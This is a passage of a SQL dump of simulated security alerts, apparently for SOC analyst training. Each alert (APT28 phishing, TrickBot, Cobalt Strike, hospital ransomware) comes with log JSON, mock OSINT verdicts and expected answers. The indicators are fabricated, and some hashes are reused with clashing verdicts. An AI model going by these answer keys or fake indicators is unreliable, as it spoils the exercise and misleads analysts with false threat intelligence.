Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'Intermediate', 'NULL', 1, 0, NULL),
(281, 'Lateral Movement and Data Exfiltration', 'high', 'Network Traffic Analysis', 'Detected lateral movement activities with potential data exfiltration attempts. Anomalous network traffic indicates movement from compromised host to sensitive data repositories.', 'Lateral Movement', 'T1021 - Remote Services', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:32:45Z\",\"event_id\":\"1002\",\"src_ip\":\"192.168.1.105\",\"dst_ip\":\"10.0.0.55\",\"attacker_ip\":\"203.0.113.45\",\"username\":\"jdoe\",\"file_accessed\":\"confidential_data.xlsx\",\"hash\":\"e99a18c428cb38d5f260853678922e03\",\"event_type\":\"network_traffic\",\"action\":\"exfiltration_attempt\"}', '2025-12-31 13:45:44', '2026-01-11 01:09:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.105\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network Monitoring\",\"verdict\":\"internal\",\"details\":\"Compromised internal host used for lateral movement.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.55\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network Monitoring\",\"verdict\":\"internal\",\"details\":\"Targeted internal server storing sensitive data.\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"External Threat Intelligence\",\"verdict\":\"malicious\",\"details\":\"Confirmed malicious IP associated with known threat actor.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"confidential_data.xlsx\",\"is_critical\":true,\"osint_result\":{\"source\":\"File Integrity Monitoring\",\"verdict\":\"suspicious\",\"details\":\"Sensitive file accessed during suspicious network activity.\"}},{\"id\":\"artifact_5\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":false,\"osint_result\":{\"source\":\"File Hash Database\",\"verdict\":\"clean\",\"details\":\"File hash matches known clean version.\"}},{\"id\":\"artifact_6\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":true,\"osint_result\":{\"source\":\"User Activity Monitoring\",\"verdict\":\"suspicious\",\"details\":\"User account potentially compromised for lateral movement.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'advanced', 'NULL', 1, 0, NULL),
(282, 'Malware Detected via Suspicious Process Execution', 'high', 'CrowdStrike', 'A suspicious process \'malicious.exe\' was executed on the host \'DESKTOP-1234\'. The file hash is associated with known malware.', 'Malware', 'T1059', 1, 'New', NULL, '{\"timestamp\":\"2023-10-15T14:32:21Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.25\",\"dst_ip\":\"192.168.1.50\",\"username\":\"jdoe\",\"hostname\":\"DESKTOP-1234\",\"file_hash\":\"e99a18c428cb38d5f260853678922e03\",\"process_name\":\"malicious.exe\"}', '2025-12-31 14:09:48', '2026-01-11 01:09:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.25\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"internal\",\"details\":\"This is an internal IP address belonging to the organization\'s network.\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"File hash is identified as a part of a known malware family.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"malicious.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"Process execution behavior is indicative of malware.\"}}],\"expected_actions\":[\"block_hash\",\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The process \'malicious.exe\' is executed from an internal machine and is linked to a known malware hash. Immediate isolation and further investigation are necessary.\"}', 'Intermediate', 'EDR', 1, 0, 'OT_ICS'),
(283, 'Suspicious Network Connection from External IP Detected', 'high', 'Firewall', 'A network connection from an external IP was detected attempting to access an internal server. The connection was flagged due to a high number of failed login attempts.', 'Brute Force', 'T1110', 1, 'New', NULL, '{\"timestamp\":\"2023-10-12T14:32:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"203.0.113.45\",\"dst_ip\":\"192.168.1.10\",\"username\":\"admin\",\"hostname\":\"internal-server-01\",\"failed_attempts\":35}', '2026-01-01 01:58:11', '2026-01-11 01:09:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 847 times for brute force attacks\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"Internal IP address belonging to the organization\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"admin\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"Common administrative account\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The external IP has been involved in multiple brute force attacks, indicating malicious intent.\"}', 'Intermediate', 'SIEM', 1, 0, 'OT_ICS'),
(284, 'Malware Detected via Suspicious Process Execution', 'critical', 'CrowdStrike', 'A suspicious process execution was detected on a host, linked to known malware activity. The process attempted to connect to a known malicious Command and Control server.', 'Malware', 'T1059', 1, 'New', NULL, '{\"timestamp\":\"2023-10-12T16:45:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.23\",\"dst_ip\":\"198.51.100.17\",\"hostname\":\"workstation-07\",\"file_hash\":\"e99a18c428cb38d5f260853678922e03\",\"process_name\":\"malicious.exe\"}', '2025-12-31 20:54:16', '2026-01-11 01:09:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with known malware\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"198.51.100.17\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"IP linked to Command and Control servers\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"192.168.1.23\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the affected workstation\"}}],\"expected_actions\":[\"block_hash\",\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The process execution and connection to a known C2 server confirm malware infection.\"}', 'Advanced', 'EDR', 1, 0, 'OT_ICS'),
(285, 'Spear-Phishing Email Campaign Detected', 'high', 'Email Gateway', 'APT28 initiates their campaign by sending carefully crafted spear-phishing emails to key personnel within political organizations, aiming to harvest credentials and gain a foothold in the network.', 'Phishing', 'T1566.002', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T08:47:23Z\",\"source_ip\":\"185.92.220.34\",\"destination_ip\":\"10.0.2.15\",\"email_subject\":\"Urgent: Review Attached Document\",\"sender_email\":\"john.doe@fakeorg.com\",\"recipient_email\":\"alice.smith@politicalorg.org\",\"attachment_filename\":\"Urgent_Document.pdf\",\"attachment_hash\":\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\",\"malicious_link\":\"http://malicious-link.com/login\",\"user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36\"}', '2025-12-31 15:17:10', '2026-01-11 01:09:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"185.92.220.34\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"Reported for phishing activities.\"}},{\"id\":\"artifact_2\",\"type\":\"email\",\"value\":\"john.doe@fakeorg.com\",\"is_critical\":false,\"osint_result\":{\"source\":\"EmailRep\",\"verdict\":\"malicious\",\"details\":\"Known phishing sender.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Associated with phishing documents.\"}},{\"id\":\"artifact_4\",\"type\":\"url\",\"value\":\"http://malicious-link.com/login\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLhaus\",\"verdict\":\"malicious\",\"details\":\"Hosting phishing page.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'NULL', 1, 0, NULL),
(286, 'Malicious Domain Infrastructure Identified', 'high', 'Firewall', 'APT28 has set up a credential harvesting operation using domains that mimic legitimate login portals. User traffic is being redirected to these domains following a successful phishing campaign. The captured credentials will allow the adversary to escalate their access within the network.', 'Credential Harvesting', 'T1566.002', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:22:35Z\",\"firewall_id\":\"FW123456\",\"src_ip\":\"10.14.22.5\",\"dst_ip\":\"203.0.113.45\",\"src_port\":\"443\",\"dst_port\":\"80\",\"action\":\"allow\",\"domain\":\"login-secure-portal.com\",\"url\":\"http://login-secure-portal.com/login\",\"user\":\"jdoe\",\"hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"file\":\"login_page.html\"}', '2025-12-31 15:17:10', '2026-01-11 01:09:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"IP associated with known phishing activities.\"}},{\"id\":\"artifact_2\",\"type\":\"domain\",\"value\":\"login-secure-portal.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"Domain Analysis Service\",\"verdict\":\"malicious\",\"details\":\"Domain registered recently and flagged for phishing.\"}},{\"id\":\"artifact_3\",\"type\":\"url\",\"value\":\"http://login-secure-portal.com/login\",\"is_critical\":true,\"osint_result\":{\"source\":\"URL Reputation Service\",\"verdict\":\"malicious\",\"details\":\"URL is hosting a phishing login page.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":false,\"osint_result\":{\"source\":\"File Reputation Database\",\"verdict\":\"suspicious\",\"details\":\"Hash matches known phishing page template.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'NULL', 1, 0, NULL),
(287, 'OAuth Token Abuse Technique Detected', 'high', 'EDR', 'APT28 uses OAuth token abuse to maintain access to compromised accounts, which enables them to exfiltrate sensitive data without needing user passwords.', 'Persistence', 'T1550.001', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T08:45:32Z\",\"event_id\":\"evt12345\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"10.0.0.25\",\"username\":\"j.doe@company.com\",\"oauth_token\":\"ya29.GlsBv...Xw3Fw\",\"action\":\"token_use\",\"file_hash\":\"e99a18c428cb38d5f260853678922e03\",\"file_name\":\"sensitive_data.docx\",\"user_agent\":\"Mozilla/5.0\",\"event_description\":\"OAuth token used for accessing cloud storage\"}', '2025-12-31 15:17:10', '2026-01-11 01:09:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"threat_intel_feed\",\"verdict\":\"malicious\",\"details\":\"Known APT28 IP address\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"j.doe@company.com\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal_db\",\"verdict\":\"internal\",\"details\":\"Employee email address\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":false,\"osint_result\":{\"source\":\"virus_total\",\"verdict\":\"suspicious\",\"details\":\"Suspicious file hash with potential data exfiltration\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"reset_credentials\",\"collect_forensics\"]}', 'Intermediate', 'NULL', 1, 0, NULL),
(288, 'Disinformation Campaign Planning Uncovered', 'high', 'Threat Intelligence Platform', 'Analysts have uncovered a coordinated disinformation campaign through leaked communications from APT28 operatives. The campaign aims to discredit political figures and manipulate election outcomes using fake news distribution and social media manipulation.', 'Information Operations', 'T1027 - Obfuscated Files or Information', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:32:00Z\",\"source_ip\":\"185.92.220.50\",\"destination_ip\":\"192.168.1.105\",\"malicious_filename\":\"election_strategy_2023.pdf\",\"hash_sha256\":\"8a7f5e3c1d4f8e1b6c3d8f7a3e2d4c5b6a1f7e8d5c2b3a4d8e3f7c1b6d2a7f9e\",\"username\":\"jdoe\",\"action\":\"file_download\",\"user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\",\"description\":\"Leaked document detailing plans for disinformation campaign.\"}', '2025-12-31 15:17:10', '2026-01-11 01:09:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"185.92.220.50\",\"is_critical\":true,\"osint_result\":{\"source\":\"OSINT Database\",\"verdict\":\"malicious\",\"details\":\"IP associated with known APT28 operations.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.105\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal host potentially compromised.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"8a7f5e3c1d4f8e1b6c3d8f7a3e2d4c5b6a1f7e8d5c2b3a4d8e3f7c1b6d2a7f9e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash matches known malicious document.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"election_strategy_2023.pdf\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intel Reports\",\"verdict\":\"suspicious\",\"details\":\"File used in the distribution of disinformation content.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Directory\",\"verdict\":\"internal\",\"details\":\"User account potentially compromised.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'NULL', 1, 0, NULL),
(289, 'Phishing Email Detected', 'medium', 'Email Gateway', 'A phishing email was detected targeting hospital staff. The email contains a malicious link designed to download TrickBot malware upon clicking.', 'Phishing', 'T1566.001', 1, 'new', NULL, '{\"timestamp\":\"2023-10-05T14:23:11Z\",\"email_subject\":\"Important Update Required\",\"sender_email\":\"attacker@example.com\",\"recipient_email\":\"staff@hospital.org\",\"malicious_link\":\"http://malicious-link.com/download\",\"attachment\":\"none\",\"source_ip\":\"203.0.113.45\",\"internal_ip\":\"192.168.1.10\",\"malware_hash\":\"e99a18c428cb38d5f260853678922e03\",\"filename\":\"update-instructions.html\"}', '2025-12-31 15:22:50', '2026-01-11 01:06:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"email\",\"value\":\"attacker@example.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"OSINT Database\",\"verdict\":\"malicious\",\"details\":\"Known phishing email address associated with multiple attacks.\"}},{\"id\":\"artifact_2\",\"type\":\"url\",\"value\":\"http://malicious-link.com/download\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"URL associated with TrickBot malware distribution.\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":false,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"suspicious\",\"details\":\"IP address flagged for suspicious activity in recent phishing campaigns.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Repository\",\"verdict\":\"malicious\",\"details\":\"Hash corresponds to TrickBot malware variant.\"}},{\"id\":\"artifact_5\",\"type\":\"filename\",\"value\":\"update-instructions.html\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"suspicious\",\"details\":\"File name commonly used in phishing emails.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'Beginner', 'NULL', 1, 0, NULL),
(290, 'TrickBot Malware Execution', 'high', 'EDR', 'TrickBot malware was executed on an employee\'s workstation, allowing the attacker to establish a foothold in the network. The malware is designed to harvest credentials and facilitate further attacks.', 'Malware', 'TA0002 - Execution', 1, 'new', NULL, '{\"timestamp\":\"2023-10-10T14:32:16Z\",\"event_type\":\"malware_execution\",\"src_ip\":\"192.168.1.45\",\"dest_ip\":\"34.210.123.158\",\"user\":\"jdoe\",\"process_name\":\"trickbot.exe\",\"process_id\":\"5678\",\"file_hash\":\"3f0a2f5e4d3a9b5c7f6e9df123456789\",\"file_path\":\"C:\\\\Users\\\\jdoe\\\\AppData\\\\Local\\\\Temp\\\\trickbot.exe\",\"detected_by\":\"EDR Agent\",\"malicious_score\":95}', '2025-12-31 15:22:50', '2026-01-11 01:09:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"34.210.123.158\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"This IP address has been associated with TrickBot C2 servers.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.45\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Systems\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the compromised workstation.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"3f0a2f5e4d3a9b5c7f6e9df123456789\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Known TrickBot malware hash.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"trickbot.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"MalwareBazaar\",\"verdict\":\"malicious\",\"details\":\"Executable file associated with TrickBot malware.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Systems\",\"verdict\":\"internal\",\"details\":\"Username of the employee whose workstation was compromised.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'Intermediate', 'NULL', 1, 0, NULL),
(291, 'Persistence Mechanism Identified', 'high', 'EDR', 'The attacker has established a persistence mechanism on the compromised system using TrickBot. This allows them to maintain access even after system reboots.', 'Persistence', 'T1547.001 - Registry Run Keys / Startup Folder', 1, 'new', NULL, '{\"timestamp\":\"2023-10-24T14:23:52Z\",\"event_id\":\"12345\",\"hostname\":\"victim-pc\",\"user\":\"jdoe\",\"process_name\":\"trickbot.exe\",\"process_id\":\"6789\",\"file_path\":\"C:\\\\Users\\\\jdoe\\\\AppData\\\\Roaming\\\\trickbot.exe\",\"registry_key\":\"HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\\\\TrickBot\",\"registry_value\":\"C:\\\\Users\\\\jdoe\\\\AppData\\\\Roaming\\\\trickbot.exe\",\"internal_ip\":\"192.168.1.15\",\"external_ip\":\"203.0.113.45\",\"hash\":\"e99a18c428cb38d5f260853678922e03\",\"command_line\":\"\\\"C:\\\\Users\\\\jdoe\\\\AppData\\\\Roaming\\\\trickbot.exe\\\" --silent\"}', '2025-12-31 15:22:50', '2026-01-11 01:09:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal_network\",\"verdict\":\"internal\",\"details\":\"Internal company IP address\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"malicious_ip_database\",\"verdict\":\"malicious\",\"details\":\"Known TrickBot command and control server\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"virus_total\",\"verdict\":\"malicious\",\"details\":\"Hash associated with TrickBot malware\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"trickbot.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"file_reputation_service\",\"verdict\":\"malicious\",\"details\":\"Executable linked to TrickBot malware\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal_user_directory\",\"verdict\":\"clean\",\"details\":\"Valid user in the company directory\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'NULL', 1, 0, NULL),
(292, 'Cobalt Strike Beacon Detected', 'high', 'Network Traffic Analysis', 'The attacker deploys Cobalt Strike beacons to move laterally, targeting critical systems within the hospital network to spread the ransomware.', 'Lateral Movement', 'T1570: Lateral Tool Transfer', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T14:22:53Z\",\"source_ip\":\"193.161.35.75\",\"destination_ip\":\"10.10.15.23\",\"protocol\":\"HTTP\",\"uri\":\"/stager\",\"user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\",\"file_hash\":\"b1946ac92492d2347c6235b4d2611184\",\"filename\":\"beacon.exe\",\"username\":\"janedoe\",\"action\":\"download\"}', '2025-12-31 15:22:50', '2026-01-11 01:06:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"193.161.35.75\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Database\",\"verdict\":\"malicious\",\"details\":\"Known Cobalt Strike command and control server\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.10.15.23\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal hospital network endpoint\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"b1946ac92492d2347c6235b4d2611184\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with Cobalt Strike payload\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"beacon.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"malicious\",\"details\":\"Executable used in lateral movement\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"janedoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Active Directory\",\"verdict\":\"suspicious\",\"details\":\"Unexpected activity from this user account\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'beginner', 'NULL', 1, 0, NULL),
(293, 'Ransomware Encryption Initiated', 'critical', 'EDR', 'The ransomware has been executed across the hospital\'s network, encrypting patient data and rendering systems unusable. Immediate focus is required on data recovery and remediation.', 'Exfiltration', 'T1486: Data Encrypted for Impact', 1, 'new', NULL, '{\"timestamp\":\"2023-10-25T14:35:21Z\",\"event_id\":\"12345\",\"source_ip\":\"198.51.100.23\",\"target_ip\":\"10.0.0.25\",\"username\":\"hospital_admin\",\"file_affected\":\"patient_records.dat\",\"file_hash\":\"a3f5d6e8b9c2d4a1e9f8b6c4d5e9a2b3\",\"action\":\"encrypt\",\"process_name\":\"ransomware.exe\",\"process_id\":\"6789\",\"severity\":\"critical\"}', '2025-12-31 15:22:50', '2026-01-11 01:09:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.23\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence\",\"verdict\":\"malicious\",\"details\":\"Known ransomware command and control server.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.25\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Hospital network server being targeted.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"a3f5d6e8b9c2d4a1e9f8b6c4d5e9a2b3\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with known ransomware strain.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"patient_records.dat\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Critical patient data file targeted for encryption.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"hospital_admin\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Admin account used to execute the ransomware.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Advanced', 'NULL', 1, 0, NULL),
(294, 'Initial Access via Spear Phishing Campaign', 'high', 'Email Gateway', 'An email containing a malicious attachment was sent to key personnel within the bank, appearing as an urgent internal communication. The attachment, if opened, installs malware to gain access to the internal network.', 'Phishing', 'T1566.001 - Phishing: Spear Phishing Attachment', 1, 'new', NULL, '{\"timestamp\":\"2023-10-05T14:23:45Z\",\"email_subject\":\"Urgent: Updated Security Protocols\",\"sender_email\":\"it-security@bank.com\",\"recipient_email\":\"j.doe@bank.com\",\"attachment_name\":\"SecurityUpdate.docx\",\"attachment_hash\":\"e99a18c428cb38d5f260853678922e03\",\"source_ip\":\"203.0.113.45\",\"recipient_ip\":\"10.0.1.15\",\"smtp_id\":\"<20231005142345.1.1234567890@bank.com>\"}', '2025-12-31 15:23:56', '2026-01-11 01:09:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"email\",\"value\":\"it-security@bank.com\",\"is_critical\":false,\"osint_result\":{\"source\":\"OSINT Database\",\"verdict\":\"suspicious\",\"details\":\"Email domain recently used in phishing campaigns.\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Known malware hash associated with trojans.\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"IP address associated with previous phishing attacks.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"block_ip\",\"block_hash\",\"collect_forensics\"]}', 'Intermediate', 'NULL', 1, 0, NULL),
